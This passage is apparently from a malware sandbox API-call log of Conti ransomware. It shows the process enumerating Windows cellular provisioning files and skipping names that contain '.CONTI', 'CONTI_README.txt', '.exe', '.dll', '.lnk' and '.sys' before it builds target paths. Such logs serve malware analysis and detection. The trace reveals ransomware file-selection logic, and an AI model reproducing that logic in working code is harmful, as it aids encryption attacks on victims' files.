	[0108.983] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml"
	[0108.983] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x361, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", cAlternateFileName="253__C~1.PRO")) returned 1
	[0108.983] lstrcmpiW (lpString1="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.983] lstrcmpiW (lpString1="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.983] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.984] StrStrIW (lpFirst="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.984] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.984] lstrlenW (lpString="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml") returned 86
	[0108.984] GetProcessHeap () returned 0x1720000
	[0108.984] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x162) returned 0x17de878
	[0108.984] lstrcpyW (in: lpString1=0x17de878, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.984] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.984] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml"
	[0108.984] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="254__C~1.PRO")) returned 1
	[0108.984] lstrcmpiW (lpString1="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.984] lstrcmpiW (lpString1="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.984] StrStrIW (lpFirst="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.984] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.984] lstrlenW (lpString="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml") returned 86
	[0108.984] GetProcessHeap () returned 0x1720000
	[0108.984] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x162) returned 0x17de9f0
	[0108.984] lstrcpyW (in: lpString1=0x17de9f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.984] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.984] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml"
	[0108.984] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="255__C~1.PRO")) returned 1
	[0108.997] lstrcmpiW (lpString1="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0108.997] lstrcmpiW (lpString1="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0108.997] StrStrIW (lpFirst="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.997] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.997] lstrlenW (lpString="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0108.997] GetProcessHeap () returned 0x1720000
	[0108.997] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c6e60
	[0108.997] lstrcpyW (in: lpString1=0x17c6e60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.997] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.997] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.997] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909955a7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909955a7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909955a7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="256__C~1.PRO")) returned 1
	[0108.997] lstrcmpiW (lpString1="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.997] lstrcmpiW (lpString1="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.997] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.997] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.997] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.997] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.998] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.998] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.998] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.998] StrStrIW (lpFirst="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.998] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.998] lstrlenW (lpString="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml") returned 76
	[0108.998] GetProcessHeap () returned 0x1720000
	[0108.998] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17f9880
	[0108.998] lstrcpyW (in: lpString1=0x17f9880, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.998] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.998] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\256__Connections_Cellular_Celcom Malaysia (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0108.998] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="257__C~1.PRO")) returned 1
	[0108.998] lstrcmpiW (lpString1="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.998] lstrcmpiW (lpString1="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.998] StrStrIW (lpFirst="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.998] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.998] lstrlenW (lpString="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.998] GetProcessHeap () returned 0x1720000
	[0108.998] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6b72370
	[0108.998] lstrcpyW (in: lpString1=0x6b72370, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.998] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.998] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0108.998] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="258__C~1.PRO")) returned 1
	[0108.998] lstrcmpiW (lpString1="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.998] lstrcmpiW (lpString1="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.998] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.998] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.999] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.999] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.999] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.999] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.999] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.999] StrStrIW (lpFirst="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.999] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.999] lstrlenW (lpString="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml") returned 65
	[0108.999] GetProcessHeap () returned 0x1720000
	[0108.999] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6b71410
	[0108.999] lstrcpyW (in: lpString1=0x6b71410, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.999] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.999] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml"
	[0108.999] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="259__C~1.PRO")) returned 1
	[0108.999] lstrcmpiW (lpString1="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.999] lstrcmpiW (lpString1="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.999] StrStrIW (lpFirst="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
